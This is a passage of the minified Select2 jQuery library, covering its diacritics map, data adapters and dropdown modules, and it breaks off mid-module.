c(c._cache[a])},c}),b.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),b.define("select2/data/base",["../utils"],function(a){function b(a,c){b.__super__.constructor.call(this)}return a.Extend(b,a.Observable),b.prototype.current=function(a){throw new Error("The `current` method must be defined in child classes.")},b.prototype.query=function(a,b){throw new Error("The `query` method must be defined in child classes.")},b.prototype.bind=function(a,b){},b.prototype.destroy=function(){},b.prototype.generateResultId=function(b,c){var d=b.id+"-result-";return d+=a.generateChars(4),null!=c.id?d+="-"+c.id.toString():d+="-"+a.generateChars(4),d},b}),b.define("select2/data/select",["./base","../utils","jquery"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,a),d.prototype.current=function(a){var b=[],d=this;this.$element.find(":selected").each(function(){var a=c(this),e=d.item(a);b.push(e)}),a(b)},d.prototype.select=function(a){var b=this;if(a.selected=!0,c(a.element).is("option"))return a.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(d){var e=[];a=[a],a.push.apply(a,d);for(var f=0;f<a.length;f++){var g=a[f].id;-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")});else{var d=a.id;this.$element.val(d),this.$element.trigger("change")}},d.prototype.unselect=function(a){var b=this;if(this.$element.prop("multiple")){if(a.selected=!1,c(a.element).is("option"))return a.element.selected=!1,void this.$element.trigger("change");this.current(function(d){for(var e=[],f=0;f<d.length;f++){var g=d[f].id;g!==a.id&&-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")})}},d.prototype.bind=function(a,b){var c=this;this.container=a,a.on("select",function(a){c.select(a.data)}),a.on("unselect",function(a){c.unselect(a.data)})},d.prototype.destroy=function(){this.$element.find("*").each(function(){b.RemoveData(this)})},d.prototype.query=function(a,b){var d=[],e=this;this.$element.children().each(function(){var b=c(this);if(b.is("option")||b.is("optgroup")){var f=e.item(b),g=e.matches(a,f);null!==g&&d.push(g)}}),b({results:d})},d.prototype.addOptions=function(a){b.appendMany(this.$element,a)},d.prototype.option=function(a){var d;a.children?(d=document.createElement("optgroup"),d.label=a.text):(d=document.createElement("option"),void 0!==d.textContent?d.textContent=a.text:d.innerText=a.text),void 0!==a.id&&(d.value=a.id),a.disabled&&(d.disabled=!0),a.selected&&(d.selected=!0),a.title&&(d.title=a.title);var e=c(d),f=this._normalizeItem(a);return f.element=d,b.StoreData(d,"data",f),e},d.prototype.item=function(a){var d={};if(null!=(d=b.GetData(a[0],"data")))return d;if(a.is("option"))d={id:a.val(),text:a.text(),disabled:a.prop("disabled"),selected:a.prop("selected"),title:a.prop("title")};else if(a.is("optgroup")){d={text:a.prop("label"),children:[],title:a.prop("title")};for(var e=a.children("option"),f=[],g=0;g<e.length;g++){var h=c(e[g]),i=this.item(h);f.push(i)}d.children=f}return d=this._normalizeItem(d),d.element=a[0],b.StoreData(a[0],"data",d),d},d.prototype._normalizeItem=function(a){a!==Object(a)&&(a={id:a,text:a}),a=c.extend({},{text:""},a);var b={selected:!1,disabled:!1};return null!=a.id&&(a.id=a.id.toString()),null!=a.text&&(a.text=a.text.toString()),null==a._resultId&&a.id&&null!=this.container&&(a._resultId=this.generateResultId(this.container,a)),c.extend({},b,a)},d.prototype.matches=function(a,b){return this.options.get("matcher")(a,b)},d}),b.define("select2/data/array",["./select","../utils","jquery"],function(a,b,c){function d(a,b){var c=b.get("data")||[];d.__super__.constructor.call(this,a,b),this.addOptions(this.convertToOptions(c))}return b.Extend(d,a),d.prototype.select=function(a){var b=this.$element.find("option").filter(function(b,c){return c.value==a.id.toString()});0===b.length&&(b=this.option(a),this.addOptions(b)),d.__super__.select.call(this,a)},d.prototype.convertToOptions=function(a){function d(a){return function(){return c(this).val()==a.id}}for(var e=this,f=this.$element.find("option"),g=f.map(function(){return e.item(c(this)).id}).get(),h=[],i=0;i<a.length;i++){var j=this._normalizeItem(a[i]);if(c.inArray(j.id,g)>=0){var k=f.filter(d(j)),l=this.item(k),m=c.extend(!0,{},j,l),n=this.option(m);k.replaceWith(n)}else{var o=this.option(j);if(j.children){var p=this.convertToOptions(j.children);b.appendMany(o,p)}h.push(o)}}return h},d}),b.define("select2/data/ajax",["./array","../utils","jquery"],function(a,b,c){function d(a,b){this.ajaxOptions=this._applyDefaults(b.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),d.__super__.constructor.call(this,a,b)}return b.Extend(d,a),d.prototype._applyDefaults=function(a){var b={data:function(a){return c.extend({},a,{q:a.term})},transport:function(a,b,d){var e=c.ajax(a);return e.then(b),e.fail(d),e}};return c.extend({},b,a,!0)},d.prototype.processResults=function(a){return a},d.prototype.query=function(a,b){function d(){var d=f.transport(f,function(d){var f=e.processResults(d,a);e.options.get("debug")&&window.console&&console.error&&(f&&f.results&&c.isArray(f.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),b(f)},function(){"status"in d&&(0===d.status||"0"===d.status)||e.trigger("results:message",{message:"errorLoading"})});e._request=d}var e=this;null!=this._request&&(c.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var f=c.extend({type:"GET"},this.ajaxOptions);"function"==typeof f.url&&(f.url=f.url.call(this.$element,a)),"function"==typeof f.data&&(f.data=f.data.call(this.$element,a)),this.ajaxOptions.delay&&null!=a.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(d,this.ajaxOptions.delay)):d()},d}),b.define("select2/data/tags",["jquery"],function(a){function b(b,c,d){var e=d.get("tags"),f=d.get("createTag");void 0!==f&&(this.createTag=f);var g=d.get("insertTag");if(void 0!==g&&(this.insertTag=g),b.call(this,c,d),a.isArray(e))for(var h=0;h<e.length;h++){var i=e[h],j=this._normalizeItem(i),k=this.option(j);this.$element.append(k)}}return b.prototype.query=function(a,b,c){function d(a,f){for(var g=a.results,h=0;h<g.length;h++){var i=g[h],j=null!=i.children&&!d({results:i.children},!0);if((i.text||"").toUpperCase()===(b.term||"").toUpperCase()||j)return!f&&(a.data=g,void c(a))}if(f)return!0;var k=e.createTag(b);if(null!=k){var l=e.option(k);l.attr("data-select2-tag",!0),e.addOptions([l]),e.insertTag(g,k)}a.results=g,c(a)}var e=this;if(this._removeOldTags(),null==b.term||null!=b.page)return void a.call(this,b,c);a.call(this,b,d)},b.prototype.createTag=function(b,c){var d=a.trim(c.term);return""===d?null:{id:d,text:d}},b.prototype.insertTag=function(a,b,c){b.unshift(c)},b.prototype._removeOldTags=function(b){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},b}),b.define("select2/data/tokenizer",["jquery"],function(a){function b(a,b,c){var d=c.get("tokenizer");void 0!==d&&(this.tokenizer=d),a.call(this,b,c)}return b.prototype.bind=function(a,b,c){a.call(this,b,c),this.$search=b.dropdown.$search||b.selection.$search||c.find(".select2-search__field")},b.prototype.query=function(b,c,d){function e(b){var c=g._normalizeItem(b);if(!g.$element.find("option").filter(function(){return a(this).val()===c.id}).length){var d=g.option(c);d.attr("data-select2-tag",!0),g._removeOldTags(),g.addOptions([d])}f(c)}function f(a){g.trigger("select",{data:a})}var g=this;c.term=c.term||"";var h=this.tokenizer(c,this.options,e);h.term!==c.term&&(this.$search.length&&(this.$search.val(h.term),this.$search.focus()),c.term=h.term),b.call(this,c,d)},b.prototype.tokenizer=function(b,c,d,e){for(var f=d.get("tokenSeparators")||[],g=c.term,h=0,i=this.createTag||function(a){return{id:a.term,text:a.term}};h<g.length;){var j=g[h];if(-1!==a.inArray(j,f)){var k=g.substr(0,h),l=a.extend({},c,{term:k}),m=i(l);null!=m?(e(m),g=g.substr(h+1)||"",h=0):h++}else h++}return{term:g}},b}),b.define("select2/data/minimumInputLength",[],function(){function a(a,b,c){this.minimumInputLength=c.get("minimumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",b.term.length<this.minimumInputLength)return void this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumInputLength",[],function(){function a(a,b,c){this.maximumInputLength=c.get("maximumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",this.maximumInputLength>0&&b.term.length>this.maximumInputLength)return void this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumSelectionLength",[],function(){function a(a,b,c){this.maximumSelectionLength=c.get("maximumSelectionLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){var d=this;this.current(function(e){var f=null!=e?e.length:0;if(d.maximumSelectionLength>0&&f>=d.maximumSelectionLength)return void d.trigger("results:message",{message:"maximumSelected",args:{maximum:d.maximumSelectionLength}});a.call(d,b,c)})},a}),b.define("select2/dropdown",["jquery","./utils"],function(a,b){function c(a,b){this.$element=a,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<span class="select2-dropdown"><span class="select2-results"></span></span>');return b.attr("dir",this.options.get("dir")),this.$dropdown=b,b},c.prototype.bind=function(){},c.prototype.position=function(a,b){},c.prototype.destroy=function(){this.$dropdown.remove()},c}),b.define("select2/dropdown/search",["jquery","../utils"],function(a,b){function c(){}return c.prototype.render=function(b){var c=b.call(this),d=a('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" /></span>');return this.$searchContainer=d,this.$search=d.find("input"),c.prepend(d),c},c.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),this.$search.on("keydown",function(a){e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented()}),this.$search.on("input",function(b){a(this).off("keyup")}),this.$search.on("keyup input",function(a){e.handleSearch(a)}),c.on("open",function(){e.$search.attr("tabindex",0),e.$search.focus(),window.setTimeout(function(){e.$search.focus()},0)}),c.on("close",function(){e.$search.attr("tabindex",-1),e.$search.val(""),e.$search.blur()}),c.on("focus",function(){c.isOpen()||e.$search.focus()}),c.on("results:all",function(a){if(null==a.query.term||""===a.query.term){e.showSearch(a)?e.$searchContainer.removeClass("select2-search--hide"):e.$searchContainer.addClass("select2-search--hide")}})},c.prototype.handleSearch=function(a){if(!this._keyUpPrevented){var b=this.$search.val();this.trigger("query",{term:b})}this._keyUpPrevented=!1},c.prototype.showSearch=function(a,b){return!0},c}),b.define("select2/dropdown/hidePlaceholder",[],function(){function a(a,b,c,d){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c,d)}return a.prototype.append=function(a,b){b.results=this.removePlaceholder(b.results),a.call(this,b)},a.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},a.prototype.removePlaceholder=function(a,b){for(var c=b.slice(0),d=b.length-1;d>=0;d--){var e=b[d];this.placeholder.id===e.id&&c.splice(d,1)}return c},a}),b.define("select2/dropdown/infiniteScroll",["jquery"],function(a){function b(a,b,c,d){this.lastParams={},a.call(this,b,c,d),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return b.prototype.append=function(a,b){this.$loadingMore.remove(),this.loading=!1,a.call(this,b),this.showLoadingMore(b)&&this.$results.append(this.$loadingMore)},b.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),c.on("query",function(a){e.lastParams=a,e.loading=!0}),c.on("query:append",function(a){e.lastParams=a,e.loading=!0}),this.$results.on("scroll",function(){var b=a.contains(document.documentElement,e.$loadingMore[0]);if(!e.loading&&b){e.$results.offset().top+e.$results.outerHeight(!1)+50>=e.$loadingMore.offset().top+e.$loadingMore.outerHeight(!1)&&e.loadMore()}})},b.prototype.loadMore=function(){this.loading=!0;var b=a.extend({},{page:1},this.lastParams);b.page++,this.trigger("query:append",b)},b.prototype.showLoadingMore=function(a,b){return b.pagination&&b.pagination.more},b.prototype.createLoadingMore=function(){var b=a('<li class="select2-results__option select2-results__option--load-more"role="treeitem" aria-disabled="true"></li>'),c=this.options.get("translations").get("loadingMore");return b.html(c(this.lastParams)),b},b}),b.define("select2/dropdown/attachBody",["jquery","../utils"],function(a,b){function c(b,c,d){this.$dropdownParent=d.get("dropdownParent")||a(document.body),b.call(this,c,d)}return c.prototype.bind=function(a,b,c){var d=this,e=!1;a.call(this,b,c),b.on("open",function(){d._showDropdown(),d._attachPositioningHandler(b),e||(e=!0,b.on("results:all",function(){d._positionDropdown(),d._resizeDropdown()}),b.on("results:append",function(){d._positionDropdown(),d._resizeDropdown()}))}),b.on("close",function(){d._hideDropdown(),d._detachPositioningHandler(b)}),this.$dropdownContainer.on("mousedown",function(a){a.stopPropagation()})},c.prototype.destroy=function(a){a.call(this),this.$dropdownContainer.remove()},c.prototype.position=function(a,b,c){b.attr("class",c.attr("class")),b.removeClass("select2"),b.addClass("select2-container--open"),b.css({position:"absolute",top:-999999}),this.$container=c},c.prototype.render=function(b){var c=a("<span></span>"),d=b.call(this);return c.append(d),this.$dropdownContainer=c,c},c.prototype._hideDropdown=function(a){this.$dropdownContainer.detach()},c.prototype._attachPositioningHandler=function(c,d){var e=this,f="scroll.select2."+d.id,g="resize.select2."+d.id,h="orientationchange.select2."+d.id,i=this.$container.parents().filter(b.hasScroll);i.each(function(){b.StoreData(this,"select2-scroll-position",{x:a(this).scrollLeft(),y:a(this).scrollTop()})}),i.on(f,function(c){var d=b.GetData(this,"select2-scroll-position");a(this).scrollTop(d.y)}),a(window).on(f+" "+g+" "+h,function(a){e._positionDropdown(),e._resizeDropdown()})},c.prototype._detachPositioningHandler=function(c,d){var e="scroll.select2."+d.id,f="resize.select2."+d.id,g="orientationchange.select2."+d.id;this.$container.parents().filter(b.hasScroll).off(e),a(window).off(e+" "+f+" "+g)},c.prototype._positionDropdown=function(){var b=a(window),c=this.$dropdown.hasClass("select2-dropdown--above"),d=this.$dropdown.hasClass("select2-dropdown--below"),e=null,f=this.$container.offset();f.bottom=f.top+this.$container.outerHeight(!1);var g={height:this.$container.outerHeight(!1)};g.top=f.top,g.bottom=f.top+g.height;var h={height:this.$dropdown.outerHeight(!1)},i={top:b.scrollTop(),bottom:b.scrollTop()+b.height()},j=i.top<f.top-h.height,k=i.bottom>f.bottom+h.height,l={left:f.left,top:g.bottom},m=this.$dropdownParent;"static"===m.css("position")&&(m=m.offsetParent());var n=m.offset();l.top-=n.top,l.left-=n.left,c||d||(e="below"),k||!j||c?!j&&k&&c&&(e="below"):e="above",("above"==e||c&&"below"!==e)&&(l.top=g.top-n.top-h.height),null!=e&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+e),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+e)),this.$dropdownContainer.css(l)},c.prototype._resizeDropdown=function(){var a={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(a.minWidth=a.width,a.position="relative",a.width="auto"),this.$dropdown.css(a)},c.prototype._showDropdown=function(a){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},c}),b.define("select2/dropdown/minimumResultsForSearch",[],function(){function a(b){for(var c=0,d=0;d<b.length;d++){var e=b[d];e.children?c+=a(e.children):c++}return c}function b(a,b,c,d){this.minimumResultsForSearch=c.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),a.call(this,b,c,d)}return b.prototype.showSearch=function(b,c){return!(a(c.data.results)<this.minimumResultsForSearch)&&b.call(this,c)},b}),b.define("select2/dropdown/selectOnClose",["../utils"],function(a){function b(){}return b.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("close",function(a){d._handleSelectOnClose(a)})},b.prototype._handleSelectOnClose=function(b,c){if(c&&null!=c.originalSelect2Event){var d=c.originalSelect2Event;if("select"===d._type||"unselect"===d._type)return}var e=this.getHighlightedResults();if(!(e.length<1)){var f=a.GetData(e[0],"data");null!=f.element&&f.element.selected||null==f.element&&f.selected||this.trigger("select",{data:f})}},b}),b.define("select2/dropdown/closeOnSelect",[],function(){function a(){}return a.prototype.bind=function(a,b,c){var 